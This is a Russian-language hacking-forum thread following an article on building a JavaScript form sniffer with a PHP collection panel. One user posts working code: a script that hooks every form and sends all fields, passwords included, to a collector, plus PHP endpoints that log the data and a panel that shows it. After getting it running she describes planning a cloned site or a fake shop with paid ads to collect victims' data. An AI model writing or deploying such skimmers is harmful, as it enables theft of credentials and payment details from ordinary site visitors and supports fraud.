• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [JS, PHP] СНИФАТЬ данные стало еще проще или как написать свой сниффер и панель для него?

Пожалуйста, обратите внимание, что пользователь заблокирован
У меня была схожая идея в реализации: я хотел сделать форк телеграмм клиента с созданием "защищенной сессии", простыми словами: если включен режим шифрования, то сообщения в чате отображаются нормально, если выключен: в чате телеграмм просто рандомные символы "dksdfsgiidaiodoafiw9781371$$#:fkfsidf (sample)". Поэтому, в целом, это крутая идея и я возьму ее на заметку.
Почему не сделал форк? Делать отдельный клиент под это дело - изобретение велосипеда, да и в целом юзлесс как мне показалось после обсуждения с самим собой. Сделать форк (адаптировать нынешний клиент, т.к. там исходный код) для меня оказалось невозможным, т.к. я не разбираюсь в написании кода на плюсах. Но кстати, подобный форк веб версии с подобным функционалом уже реализован и лежит на гитхабе, но я не могу найти линк. Потерял этот проект.
Это всё равно останется телегой, что, собственно, не совсем безопасно. Точнее, вообще небезопасно для работы.
Лично мне не хватило адекватных клиентов Matrix с адекватной поддержкой прокси тора. Поставил себе .onion хоумсервер, смогло зайти на него только через Quarternion... Но клиент полный кал, пользоваться им невозможно, поэтому ушёл опять в пещеру жабу.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это всё равно останется телегой, что, собственно, не совсем безопасно. Точнее, вообще небезопасно для работы.
Лично мне не хватило адекватных клиентов Matrix с адекватной поддержкой прокси тора. Поставил себе .onion хоумсервер, смогло зайти на него только через Quarternion... Но клиент полный кал, пользоваться им невозможно, поэтому ушёл опять в пещеру жабу.
Да, вот и мне совсем не удобно пользоваться жабой. Как кто-то писал на форуме (честно, не помню кто, но это было совсем недавно) «Удобно, значит не безопасно. Неудобно, значит безопасно», и к сожалению, это правда.

Насчет телеги - я согласен, но просто однажды загорелся этой идеей, но кроме как идеи она дальше не ушла. Как не крути, ей пользуются и будут продолжать пользоваться из-за удобства.

Думаю ни один раз на этом форуме открывалось обсуждение в создании адекватного, безопасного и удобного мессенджера для повседневного и рабочего общения, но, как я понимаю, дальше чем обсуждение это не ушло, да и в целом, это более чем логично. Такие проекты требуют больших инвестиций, но как правило, не имеют прибыли, т.к. продавать такой мессенджер не было бы верным решением, а вкладывать деньги в то, что не приносит прибыль никто не станет в наших реалиях.

Я в будущем рассмотрю этот вопрос в одной из своих статей, и наверное попробую написать форк для Session/Matrix (либо вообще что-то другое…)
 
Крутая статья, спасибо society!
можно глупый вопрос - а чтобы понять все, что здесь написано какую книжку нужно прочитать?))
копировать вставлять умею, но хочется понимать, что делаю. автор, вы не обучаете случайно?
 
я прошу прощения
Конфигурация и настройки:
я прошу прощения за глупый вопрос прошу не кидаться тапками.. а это куда вставлять? в терминал? просто так? или снаала создать файл, назвать его как то? создавать виртуальное окруение надо?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
я прошу прощения за глупый вопрос прошу не кидаться тапками.. а это куда вставлять? в терминал? просто так? или снаала создать файл, назвать его как то? создавать виртуальное окруение надо?
возьми уже готовые файлы и просто занимайся их настройкой, с этим не должно возникнуть проблем. твои вопросы базовые, и их решить поможет любая LLM (GROK, DeepSeek, ChatGPT - все они имеют бесплатные версии).
 
результат тестировани статьи новичком
1. нужно делать через ии, чтобы было понятно что куда
2. делать на линуксе
3. новое слово.
Apache — это программа, которая превращает твой компьютер в мини-сервер, чтобы ты мог:
  • Открывать сайты у себя локально
  • Запускать .php-файлы (панель, API)
  • Тестировать всё, как будто это настоящий сайт — но без интернета

STEP BY STEP (ПОШАГОВО):

1. Устанавливаем Apache + PHP:

в терминале вводим -
Код:
sudo apt update

sudo apt install apache2 php libapache2-mod-php

2. Создаем папку для проекта:
Код:
sudo mkdir -p /var/www/html/sniffer_test
sudo chown $USER:$USER /var/www/html/sniffer_test

3. туда нужно вставить файлы (config.php, collect.php, admin.php, sniffer.js)


тут мы приходим к интересному наблюдению:
1758120132216.png


конкретно в строке "Вставь туда файлы (config.php, collect.php, admin.php, sniffer.js)"

- совершенно непонятно, какие файлы где взть, куда вставить.

далее
1758120225501.png


и самое интересное
1758120264485.png



4. Следующий шаг: создаём sniffer.js

Код:
nano /var/www/html/sniffer_test/assets/sniffer.js
открывается редактор, видим
1758120655026.png


вставляем туда этот вод:
Код:
(function() {
  var endpoint = 'http://localhost/sniffer_test/collect.php';

  function serialize(form) {
    var data = {};
    for (var i = 0; i < form.elements.length; i++) {
      var el = form.elements[i];
      if (!el.name || el.disabled || el.type === 'submit') continue;
      data[el.name] = el.value;
    }
    return data;
  }

  function send(data) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', endpoint, true);
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.send(JSON.stringify({
      page: window.location.href,
      payload: data
    }));
  }

  function hook(form) {
    if (form.__sniffed) return;
    form.__sniffed = true;
    form.addEventListener('submit', function(e) {
      try {
        var data = serialize(form);
        send(data);
      } catch (err) {}
    }, true);
  }

  function scan() {
    var forms = document.getElementsByTagName('form');
    for (var i = 0; i < forms.length; i++) {
      hook(forms[i]);
    }
  }

  scan();
  var observer = new MutationObserver(scan);
  observer.observe(document.body, { childList: true, subtree: true });
})();

Сохраняем: Ctrl + O, Enter , Ctrl + X

пишу методами человека который перрвые то елает, как есть - пр попытке сохранить вышло такое -
1758120948665.png


и тут мы выяснили, что сначала нуно папку создать, а потом файлы в ней. итаче он не понимает где ему сохраняться. такой аваки нету.

итак создаем папку
Код:
mkdir -p /var/www/html/sniffer_test/assets

и снова открываем фал
Код:
nano /var/www/html/sniffer_test/assets/sniffer.js

вставляем туда наш код -

Код:
(function() {
  var endpoint = 'http://localhost/sniffer_test/collect.php';

  function serialize(form) {
    var data = {};
    for (var i = 0; i < form.elements.length; i++) {
      var el = form.elements[i];
      if (!el.name || el.disabled || el.type === 'submit') continue;
      data[el.name] = el.value;
    }
    return data;
  }

  function send(data) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', endpoint, true);
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.send(JSON.stringify({
      page: window.location.href,
      payload: data
    }));
  }

  function hook(form) {
    if (form.__sniffed) return;
    form.__sniffed = true;
    form.addEventListener('submit', function(e) {
      try {
        var data = serialize(form);
        send(data);
      } catch (err) {}
    }, true);
  }

  function scan() {
    var forms = document.getElementsByTagName('form');
    for (var i = 0; i < forms.length; i++) {
      hook(forms[i]);
    }
  }

  scan();
  var observer = new MutationObserver(scan);
  observer.observe(document.body, { childList: true, subtree: true });
})();

Сохраняем: Ctrl + O, Enter , Ctrl + X

5. далее создаем файл collect.php:
в терминале вводим:
Код:
nano /var/www/html/sniffer_test/collect.php

открывается редактор:
1758121209804.png


вставляем тда код:

Код:
<?php
// Простой приёмник данных от JS-сниффера

// Установим заголовки
header('Content-Type: application/json; charset=utf-8');

// Получаем "сырые" данные из тела запроса
$raw = file_get_contents('php://input');
$data = json_decode($raw, true);

// Проверка: если данные не пришли — ошибка
if (!$data || !isset($data['page']) || !isset($data['payload'])) {
    http_response_code(400);
    echo json_encode(['ok' => false, 'error' => 'invalid_payload']);
    exit;
}

// Подготовим строку для записи
$entry = [
    'time' => date('Y-m-d H:i:s'),
    'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
    'page' => $data['page'],
    'fields' => $data['payload']
];

// Запись в лог
$line = json_encode($entry, JSON_UNESCAPED_UNICODE) . PHP_EOL;
file_put_contents(__DIR__ . '/log.txt', $line, FILE_APPEND | LOCK_EX);

// Ответ
echo json_encode(['ok' => true]);


Сохраняем: Ctrl + O, Enter , Ctrl + X

6. Проверка
(я делаю в отдельном терминале на всякий случай)

Создем тестовую HTML-страницу, вводим в терминале:
Код:
nano /var/www/html/sniffer_test/test_form.html
1758121739781.png


вставляем в окно редатора:

Код:
<!doctype html>
<html lang="ru">
<head>
  <meta charset="utf-8">
  <title>Тест формы</title>
  <script src="/sniffer_test/assets/sniffer.js"></script>
</head>
<body>
  <h1>Тест формы</h1>
  <form action="/sniffer_test/dummy_handler.php" method="POST">
    <label>Логин: <input type="text" name="login"></label><br><br>
    <label>Пароль: <input type="password" name="password"></label><br><br>
    <label>Email: <input type="email" name="email"></label><br><br>
    <button type="submit">Отправить</button>
  </form>
</body>
</html>

Сохраняем: Ctrl + O, Enter , Ctrl + X

создаем заглушку-обработчик формы. в терминале вводим:
Код:
nano /var/www/html/sniffer_test/dummy_handler.php

вставляем туда:
Код:
<?php
echo "<pre>Форма принята. POST: " . implode(', ', array_keys($_POST)) . "</pre>";

Сохраняем: Ctrl + O, Enter , Ctrl + X

открываем тестовую форму, вводим в терминале:
Код:
firefox http://localhost/sniffer_test/test_form.html

открывается такое 🙈🫢(такой уж из меня тестировщик)):
1758122006020.png


выясняется что причина в том, что
1758122168156.png


окей, выходим из ситуации.
запускаем Apache. воодим в терминале яоткрываю третий терминал для этого):
Код:
sudo systemctl start apache2

проверяем что он работает:
Код:
sudo systemctl status apache2

видим что то воде такого:
1758122318226.png


возвращаемся во второй терминал, и пишем:

Код:
firefox http://localhost/sniffer_test/test_form.html


теперь открывается правильная картина:
1758122483346.png


пишем туда тестовые данные:
1758122570581.png


нажимаем отправить, и идем проверять папку
Компьютер → var → www → html → sniffer_test


и не ивдим тут никаокго лога...🫢🙈

разбираемся почему.

Возможные причины​

1. collect.php не вызывается​

Сниффер (sniffer.js) должен отправлять данные параллельно с формой. Если он не подключён — collect.php не срабатывает.

Проверь: в test_form.html есть ли строка:

html
<script src="/sniffer_test/assets/sniffer.js"></script>

Если нет — сниффер не работает. Добавь её в <head>.


2. Ошибка в sniffer.js​

Может быть синтаксическая ошибка, или JS не загружается. Проверим:

  • Открой test_form.html в браузере
  • Нажми F12 → вкладка Console
  • Обнови страницу
  • Смотри: есть ли ошибки, связанные с sniffer.js
Если есть — покажи, я поправлю.


3. collect.php не доступен​

Проверь вручную:

  • Введи в терминале:
bash
curl -X POST http://localhost/sniffer_test/collect.php \
-H "Content-Type: application/json" \
-d '{"page":"http://localhost/test","payload":{"login":"test","password":"123","email":"test@example.com"}}'

Если в ответе:

json
{"ok":true}

— значит collect.php работает.

Если ошибка — покажи, я разберу.


4. Apache не может создать файл​

Дай права:

bash
sudo chown -R www-data:www-data /var/www/html/sniffer_test

И снова отправь форму.


🔁 Что делать прямо сейчас​

  1. Проверь, что sniffer.js подключён в test_form.html
  2. Открой F12 → Console и посмотри, есть ли ошибки
  3. Проверь collect.php вручную через curl
  4. Дай права на папку
Если всё это сделано — log.txt появится.


и тут мы окуеваем с всего т.к. мы уже окончательно запутались, но нам то нужно проверить, чтобы идти дальше а вот как выполнить Проверь, что sniffer.js подключён в test_form.html совершенно непонятно. ладно, по ходу разберемся.


открываем еще один терминал, вводим:
Код:
nano /var/www/html/sniffer_test/test_form.html

нужно найти тут, если ли такая строка "<script src="/sniffer_test/assets/sniffer.js"></script>"

молча л*еваем с инструкций ии и идем дальше..:
1758123283262.png


ctrl+x закрываем файл

вводим в терминале:
Код:
grep collect.php /var/log/apache2/access.log

и никуя не видим..

вообще непонятно что мы делаем(по инструкциям ии), но двигаемся дальше, вводим в терминале:

вводим в терминале:
Код:
curl -X POST http://localhost/sniffer_test/collect.php \
     -H "Content-Type: application/json" \
     -d '{"page":"http://localhost/test","payload":{"login":"test","password":"123","email":"test@example.com"}}'

к этому моменту мы окончательно запутались и пересылаем все что видим ии чтобы он сказал то то или не то, и получаем такой результат:
1758123646503.png


итак файл с логами не появляемся, как вяснилось потому, что :
1758123861023.png


исправляем это таким образом. вводим в терминале:
Код:
sudo chown -R www-data:www-data /var/www/html/sniffer_test
Это даст Apache доступ к папке и разрешит создавать log.txt.

после этого открываем снова форму вводим в терминале:
Код:
firefox http://localhost/sniffer_test/test_form.html


1758123964959.png


проверяем наличие файла с логами:
Код:
ls -l /var/www/html/sniffer_test

нету:
1758124080561.png


глазами смотрим на папку и тое не видим там файла с логами:
1758124116795.png


ругаемся с ии (ну не с автором статьи же)):
1758124185713.png


открываем файл. вводим в терминале:
Код:
nano /var/www/html/sniffer_test/collect.php

не открывается... 🙈
1758124273882.png


открываем от имени суперпользователя:
Код:
sudo nano /var/www/html/sniffer_test/collect.php

вставляем в самое начало сразу после <?php, вот это:

Код:
file_put_contents(__DIR__ . '/debug.txt', "COLLECT.PHP ВЫЗВАН\n", FILE_APPEND);

Сохраняем выходим: Ctrl + O, Enter, Ctrl + X

снова открываем форму. вводим в терминале:

Код:
firefox http://localhost/sniffer_test/test_form.html

отправляем туда тестовые данные:
1758124512837.png


проверяем наличие файла, вводим в терминале:

Код:
ls -l /var/www/html/sniffer_test
получаем результат - нет файла "log.txt" 🤦‍♀️ и файла "debug.txt" тоже нету


1758124591305.png


я уже хз что делать..

ладно, *емся дальше -

1758124788159.png


акуеваем дальше
1758124855227.png


еще раз открываем сайт. вводим в терминале:
Код:
[CODE]firefox http://localhost/sniffer_test/test_form.html
[/CODE]

нажимаем f12
видим такую картину:

1758125102365.png


олучаем ответ от ии:

1758125185283.png


двигаемся п инструкциям ии:
открываем ручками файл test_form.html из нашей папки:
1758125318386.png


нажимаем F12 → вкладка Console

вводим тестовые даннеы, нажимаемотправить, получаем никуя :
1758125383787.png


продолжаем :

1758125416905.png


вводим в браузере снова(просто ctrl+v в хроме):
f12
вводим тестовые данные, нажимаем отправить

никуя не понятно, но ии говорит:
1758125579791.png


я окончательно запуталась, но едем дальше..
1758125634476.png


1758126236938.png

я не знаю что делать дальше. не понимаю. не работает. что не так?

1758126254005.png


😞
прошло 2,5 часа, результат - ноль. хотела переписать статью чтобы было понятно для меня и таки же как я что делать пошагово, но не получилось. не буду удалять, может автор поможет, жду ответа автора
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
результат тестировани статьи новичком
1. нужно делать через ии, чтобы было понятно что куда
2. делать на линуксе
3. новое слово.
Apache — это программа, которая превращает твой компьютер в мини-сервер, чтобы ты мог:
  • Открывать сайты у себя локально
  • Запускать .php-файлы (панель, API)
  • Тестировать всё, как будто это настоящий сайт — но без интернета

STEP BY STEP (ПОШАГОВО):

1. Устанавливаем Apache + PHP:

в терминале вводим -
Код:
sudo apt update

sudo apt install apache2 php libapache2-mod-php

2. Создаем папку для проекта:
Код:
sudo mkdir -p /var/www/html/sniffer_test
sudo chown $USER:$USER /var/www/html/sniffer_test

3. туда нужно вставить файлы (config.php, collect.php, admin.php, sniffer.js)


тут мы приходим к интересному наблюдению:
Посмотреть вложение 110397

конкретно в строке "Вставь туда файлы (config.php, collect.php, admin.php, sniffer.js)"

- совершенно непонятно, какие файлы где взть, куда вставить.

далее
Посмотреть вложение 110400

и самое интересное
Посмотреть вложение 110401


4. Следующий шаг: создаём sniffer.js

Код:
nano /var/www/html/sniffer_test/assets/sniffer.js
открывается редактор, видим
Посмотреть вложение 110403

вставляем туда этот вод:
Код:
(function() {
  var endpoint = 'http://localhost/sniffer_test/collect.php';

  function serialize(form) {
    var data = {};
    for (var i = 0; i < form.elements.length; i++) {
      var el = form.elements[i];
      if (!el.name || el.disabled || el.type === 'submit') continue;
      data[el.name] = el.value;
    }
    return data;
  }

  function send(data) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', endpoint, true);
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.send(JSON.stringify({
      page: window.location.href,
      payload: data
    }));
  }

  function hook(form) {
    if (form.__sniffed) return;
    form.__sniffed = true;
    form.addEventListener('submit', function(e) {
      try {
        var data = serialize(form);
        send(data);
      } catch (err) {}
    }, true);
  }

  function scan() {
    var forms = document.getElementsByTagName('form');
    for (var i = 0; i < forms.length; i++) {
      hook(forms[i]);
    }
  }

  scan();
  var observer = new MutationObserver(scan);
  observer.observe(document.body, { childList: true, subtree: true });
})();

Сохраняем: Ctrl + O, Enter , Ctrl + X

пишу методами человека который перрвые то елает, как есть - пр попытке сохранить вышло такое -
Посмотреть вложение 110404

и тут мы выяснили, что сначала нуно папку создать, а потом файлы в ней. итаче он не понимает где ему сохраняться. такой аваки нету.

итак создаем папку
Код:
mkdir -p /var/www/html/sniffer_test/assets

и снова открываем фал
Код:
nano /var/www/html/sniffer_test/assets/sniffer.js

вставляем туда наш код -

Код:
(function() {
  var endpoint = 'http://localhost/sniffer_test/collect.php';

  function serialize(form) {
    var data = {};
    for (var i = 0; i < form.elements.length; i++) {
      var el = form.elements[i];
      if (!el.name || el.disabled || el.type === 'submit') continue;
      data[el.name] = el.value;
    }
    return data;
  }

  function send(data) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', endpoint, true);
    xhr.setRequestHeader('Content-Type', 'application/json');
    xhr.send(JSON.stringify({
      page: window.location.href,
      payload: data
    }));
  }

  function hook(form) {
    if (form.__sniffed) return;
    form.__sniffed = true;
    form.addEventListener('submit', function(e) {
      try {
        var data = serialize(form);
        send(data);
      } catch (err) {}
    }, true);
  }

  function scan() {
    var forms = document.getElementsByTagName('form');
    for (var i = 0; i < forms.length; i++) {
      hook(forms[i]);
    }
  }

  scan();
  var observer = new MutationObserver(scan);
  observer.observe(document.body, { childList: true, subtree: true });
})();

Сохраняем: Ctrl + O, Enter , Ctrl + X

5. далее создаем файл collect.php:
в терминале вводим:
Код:
nano /var/www/html/sniffer_test/collect.php

открывается редактор:
Посмотреть вложение 110405

вставляем тда код:

Код:
<?php
// Простой приёмник данных от JS-сниффера

// Установим заголовки
header('Content-Type: application/json; charset=utf-8');

// Получаем "сырые" данные из тела запроса
$raw = file_get_contents('php://input');
$data = json_decode($raw, true);

// Проверка: если данные не пришли — ошибка
if (!$data || !isset($data['page']) || !isset($data['payload'])) {
    http_response_code(400);
    echo json_encode(['ok' => false, 'error' => 'invalid_payload']);
    exit;
}

// Подготовим строку для записи
$entry = [
    'time' => date('Y-m-d H:i:s'),
    'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
    'page' => $data['page'],
    'fields' => $data['payload']
];

// Запись в лог
$line = json_encode($entry, JSON_UNESCAPED_UNICODE) . PHP_EOL;
file_put_contents(__DIR__ . '/log.txt', $line, FILE_APPEND | LOCK_EX);

// Ответ
echo json_encode(['ok' => true]);


Сохраняем: Ctrl + O, Enter , Ctrl + X

6. Проверка
(я делаю в отдельном терминале на всякий случай)

Создем тестовую HTML-страницу, вводим в терминале:
Код:
nano /var/www/html/sniffer_test/test_form.html
Посмотреть вложение 110406

вставляем в окно редатора:

Код:
<!doctype html>
<html lang="ru">
<head>
  <meta charset="utf-8">
  <title>Тест формы</title>
  <script src="/sniffer_test/assets/sniffer.js"></script>
</head>
<body>
  <h1>Тест формы</h1>
  <form action="/sniffer_test/dummy_handler.php" method="POST">
    <label>Логин: <input type="text" name="login"></label><br><br>
    <label>Пароль: <input type="password" name="password"></label><br><br>
    <label>Email: <input type="email" name="email"></label><br><br>
    <button type="submit">Отправить</button>
  </form>
</body>
</html>

Сохраняем: Ctrl + O, Enter , Ctrl + X

создаем заглушку-обработчик формы. в терминале вводим:
Код:
nano /var/www/html/sniffer_test/dummy_handler.php

вставляем туда:
Код:
<?php
echo "<pre>Форма принята. POST: " . implode(', ', array_keys($_POST)) . "</pre>";

Сохраняем: Ctrl + O, Enter , Ctrl + X

открываем тестовую форму, вводим в терминале:
Код:
firefox http://localhost/sniffer_test/test_form.html

открывается такое 🙈🫢(такой уж из меня тестировщик)):
Посмотреть вложение 110407

выясняется что причина в том, что
Посмотреть вложение 110408

окей, выходим из ситуации.
запускаем Apache. воодим в терминале яоткрываю третий терминал для этого):
Код:
sudo systemctl start apache2

проверяем что он работает:
Код:
sudo systemctl status apache2

видим что то воде такого:
Посмотреть вложение 110409

возвращаемся во второй терминал, и пишем:

Код:
firefox http://localhost/sniffer_test/test_form.html


теперь открывается правильная картина:
Посмотреть вложение 110410

пишем туда тестовые данные:
Посмотреть вложение 110411

нажимаем отправить, и идем проверять папку
Компьютер → var → www → html → sniffer_test


и не ивдим тут никаокго лога...🫢🙈

разбираемся почему.

Возможные причины​

1. collect.php не вызывается​

Сниффер (sniffer.js) должен отправлять данные параллельно с формой. Если он не подключён — collect.php не срабатывает.

Проверь: в test_form.html есть ли строка:

html
<script src="/sniffer_test/assets/sniffer.js"></script>

Если нет — сниффер не работает. Добавь её в <head>.


2. Ошибка в sniffer.js​

Может быть синтаксическая ошибка, или JS не загружается. Проверим:

  • Открой test_form.html в браузере
  • Нажми F12 → вкладка Console
  • Обнови страницу
  • Смотри: есть ли ошибки, связанные с sniffer.js
Если есть — покажи, я поправлю.


3. collect.php не доступен​

Проверь вручную:

  • Введи в терминале:
bash
curl -X POST http://localhost/sniffer_test/collect.php \
-H "Content-Type: application/json" \
-d '{"page":"http://localhost/test","payload":{"login":"test","password":"123","email":"test@example.com"}}'

Если в ответе:

json
{"ok":true}

— значит collect.php работает.

Если ошибка — покажи, я разберу.


4. Apache не может создать файл​

Дай права:

bash
sudo chown -R www-data:www-data /var/www/html/sniffer_test

И снова отправь форму.


🔁 Что делать прямо сейчас​

  1. Проверь, что sniffer.js подключён в test_form.html
  2. Открой F12 → Console и посмотри, есть ли ошибки
  3. Проверь collect.php вручную через curl
  4. Дай права на папку
Если всё это сделано — log.txt появится.


и тут мы окуеваем с всего т.к. мы уже окончательно запутались, но нам то нужно проверить, чтобы идти дальше а вот как выполнить Проверь, что sniffer.js подключён в test_form.html совершенно непонятно. ладно, по ходу разберемся.


открываем еще один терминал, вводим:
Код:
nano /var/www/html/sniffer_test/test_form.html

нужно найти тут, если ли такая строка "<script src="/sniffer_test/assets/sniffer.js"></script>"

молча л*еваем с инструкций ии и идем дальше..:
Посмотреть вложение 110412

ctrl+x закрываем файл

вводим в терминале:
Код:
grep collect.php /var/log/apache2/access.log

и никуя не видим..

вообще непонятно что мы делаем(по инструкциям ии), но двигаемся дальше, вводим в терминале:

вводим в терминале:
Код:
curl -X POST http://localhost/sniffer_test/collect.php \
     -H "Content-Type: application/json" \
     -d '{"page":"http://localhost/test","payload":{"login":"test","password":"123","email":"test@example.com"}}'

к этому моменту мы окончательно запутались и пересылаем все что видим ии чтобы он сказал то то или не то, и получаем такой результат:
Посмотреть вложение 110413

итак файл с логами не появляемся, как вяснилось потому, что :
Посмотреть вложение 110414

исправляем это таким образом. вводим в терминале:
Код:
sudo chown -R www-data:www-data /var/www/html/sniffer_test
Это даст Apache доступ к папке и разрешит создавать log.txt.

после этого открываем снова форму вводим в терминале:
Код:
firefox http://localhost/sniffer_test/test_form.html


Посмотреть вложение 110415

проверяем наличие файла с логами:
Код:
ls -l /var/www/html/sniffer_test

нету:
Посмотреть вложение 110416

глазами смотрим на папку и тое не видим там файла с логами:
Посмотреть вложение 110417

ругаемся с ии (ну не с автором статьи же)):
Посмотреть вложение 110418

открываем файл. вводим в терминале:
Код:
nano /var/www/html/sniffer_test/collect.php

не открывается... 🙈
Посмотреть вложение 110419

открываем от имени суперпользователя:
Код:
sudo nano /var/www/html/sniffer_test/collect.php

вставляем в самое начало сразу после <?php, вот это:

Код:
file_put_contents(__DIR__ . '/debug.txt', "COLLECT.PHP ВЫЗВАН\n", FILE_APPEND);

Сохраняем выходим: Ctrl + O, Enter, Ctrl + X

снова открываем форму. вводим в терминале:

Код:
firefox http://localhost/sniffer_test/test_form.html

отправляем туда тестовые данные:
Посмотреть вложение 110420

проверяем наличие файла, вводим в терминале:

Код:
ls -l /var/www/html/sniffer_test
получаем результат - нет файла "log.txt" 🤦‍♀️ и файла "debug.txt" тоже нету


Посмотреть вложение 110421

я уже хз что делать..

ладно, *емся дальше -

Посмотреть вложение 110422

акуеваем дальше
Посмотреть вложение 110423

еще раз открываем сайт. вводим в терминале:
Код:
[CODE]firefox http://localhost/sniffer_test/test_form.html
[/CODE]

нажимаем f12
видим такую картину:

Посмотреть вложение 110424

олучаем ответ от ии:

Посмотреть вложение 110425

двигаемся п инструкциям ии:
открываем ручками файл test_form.html из нашей папки:
Посмотреть вложение 110426

нажимаем F12 → вкладка Console

вводим тестовые даннеы, нажимаемотправить, получаем никуя :
Посмотреть вложение 110427

продолжаем :

Посмотреть вложение 110428

вводим в браузере снова(просто ctrl+v в хроме):
f12
вводим тестовые данные, нажимаем отправить

никуя не понятно, но ии говорит:
Посмотреть вложение 110429

я окончательно запуталась, но едем дальше..
Посмотреть вложение 110430

Посмотреть вложение 110433
я не знаю что делать дальше. не понимаю. не работает. что не так?

Посмотреть вложение 110434

😞
прошло 2,5 часа, результат - ноль. хотела переписать статью чтобы было понятно для меня и таки же как я что делать пошагово, но не получилось. не буду удалять, может автор поможет, жду ответа автора
ты конечно молодец.. но зачем ты потратила (судя по тексту именно потратила) столько времени в пустую? снифер (sniffer.js) стучит в панель (index.html) через API => чтобы он стучал в текстовый файл нужно менять логику в collect.php (если я правильно помню название файла).. поставь сначала панель, потом подключай сам сниффер.
 
ты конечно молодец.. но зачем ты потратила (судя по тексту именно потратила) столько времени в пустую? снифер (sniffer.js) стучит в панель (index.html) через API => чтобы он стучал в текстовый файл нужно менять логику в collect.php (если я правильно помню название файла).. поставь сначала панель, потом подключай сам сниффер.
потому что я не имею такой компетенции, скилов и опыта как у тебя, и чтобы это реализовать я спрашиваю у ии как пошагово делать. он мне говорит. я делаю.
спасибо. завтра попробую начать с панели.
 
итак, продолжение реализации статьи в реальность :)

1. Создаем панель. В терминале пишем:​

Код:
sudo nano /var/www/html/sniffer_test/index.html

потом вставляем туда это:
Код:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <title>Панель сниффера</title>
</head>
<body>
  <h2>Панель сниффера</h2>
  <div id="output"></div>

  <script>
    async function fetchData() {
      const res = await fetch('/sniffer_test/api.php');
      const data = await res.json();
      const out = document.getElementById('output');
      out.innerHTML = '<pre>' + JSON.stringify(data, null, 2) + '</pre>';
    }

    setInterval(fetchData, 3000); // обновление каждые 3 секунды
    fetchData();
  </script>
</body>
</html>

Сохраняем: Ctrl + O, Enter , Ctrl + X

2. Создаём API. Пишем в терминале:​

Код:
sudo nano /var/www/html/sniffer_test/api.php

вставляем туда:
Код:
<?php
// API для приёма данных от сниффера

$logFile = __DIR__ . '/log.json';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $raw = file_get_contents('php://input');
    $data = json_decode($raw, true);
    if (is_array($data)) {
        $entry = [
            'time' => date('Y-m-d H:i:s'),
            'payload' => $data['payload'] ?? $data
        ];
        $existing = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : [];
        $existing[] = $entry;
        file_put_contents($logFile, json_encode($existing, JSON_PRETTY_PRINT));
        http_response_code(200);
        echo json_encode(['status' => 'ok']);
        exit;
    }
    http_response_code(400);
    echo json_encode(['error' => 'invalid JSON']);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    header('Content-Type: application/json; charset=utf-8');
    $data = file_exists($logFile) ? file_get_contents($logFile) : '[]';
    echo $data;
    exit;
}

Сохраняем: Ctrl + O, Enter , Ctrl + X

3. Подключаем sniffer.js к форме. Пишем в терминале:​

Код:
sudo nano /var/www/html/sniffer_test/test_form.html

удаляем оттуда все, что там было, и вставляем туда тот код:
Код:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <title>Test формы</title>
  <script src="/sniffer_test/assets/sniffer.js"></script> <!-- ← Вот это и есть "добавить в head" -->
</head>
<body>
  <form action="sniffer_test/dummy_handler.php" method="POST">
    <label for="name">Имя:</label>
    <input type="text" name="name" id="name">

    <label for="password">Пароль:</label>
    <input type="password" name="password" id="password">

    <label for="email">Email:</label>
    <input type="email" name="email" id="email">

    <button type="submit">Отправить</button>
  </form>
</body>
</html>

4. Обновляем sniffer.js - в терминале пишем​

Код:
sudo nano /var/www/html/sniffer_test/assets/sniffer.js

удаляем все что внутри и вставляем вместо всего это -

Код:
console.log("Сниффер загружен");

document.addEventListener("DOMContentLoaded", function () {
  const form = document.querySelector("form");
  if (!form) return;

  form.addEventListener("submit", function (e) {
    const inputs = form.querySelectorAll("input");
    const payload = {};

    inputs.forEach(input => {
      payload[input.name] = input.value;
    });

    const data = {
      page: window.location.href,
      payload: payload
    };

    console.log("Отправка данных:", data);

    const xhr = new XMLHttpRequest();
    xhr.open("POST", "/sniffer_test/api.php", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.send(JSON.stringify(data));
  });
});


Сохраняем: Ctrl + O, Enter , Ctrl + X


Тестируем​


открываем в браузере форму:


F12 → вкладка Console

вводим тестовые данные:
1758209563529.png


открываем панель:
Код:
http://localhost/sniffer_test/index.html

нажимаем в форме отправить и видим это -

1758209667361.png


а в панели, это:
1758209688247.png


проверяем что данные записываются. вводим в терминале:
Код:
cat /var/www/html/sniffer_test/log.json

получаем ответ:
1758209826273.png


работает!!
Благодарю society !!
👏

щас я еще какое то время буду соображать что с этим делать,
наверное нужно по хорошему купить сервак, сделать это на серваке, купить домен, вставить туда сайт. придумать копию ккого сайта сделать, или просто продавать какой нибудь несуществующий хлам задешево, - решить что лучше, ну и оплатить рекламу.

буду рада советам.
society - просто огонь!!!👍👍👍
 
Пожалуйста, обратите внимание, что пользователь заблокирован
итак, продолжение реализации статьи в реальность :)

1. Создаем панель. В терминале пишем:​

Код:
sudo nano /var/www/html/sniffer_test/index.html

потом вставляем туда это:
Код:
<!DOCTYPE html>
<html lang="ru">
<head>
  <meta charset="UTF-8">
  <title>Панель сниффера</title>
</head>
<body>
  <h2>Панель сниффера</h2>
  <div id="output"></div>

  <script>
    async function fetchData() {
      const res = await fetch('/sniffer_test/api.php');
      const data = await res.json();
      const out = document.getElementById('output');
      out.innerHTML = '<pre>' + JSON.stringify(data, null, 2) + '</pre>';
    }

    setInterval(fetchData, 3000); // обновление каждые 3 секунды
    fetchData();
  </script>
</body>
</html>

Сохраняем: Ctrl + O, Enter , Ctrl + X

2. Создаём API. Пишем в терминале:​

Код:
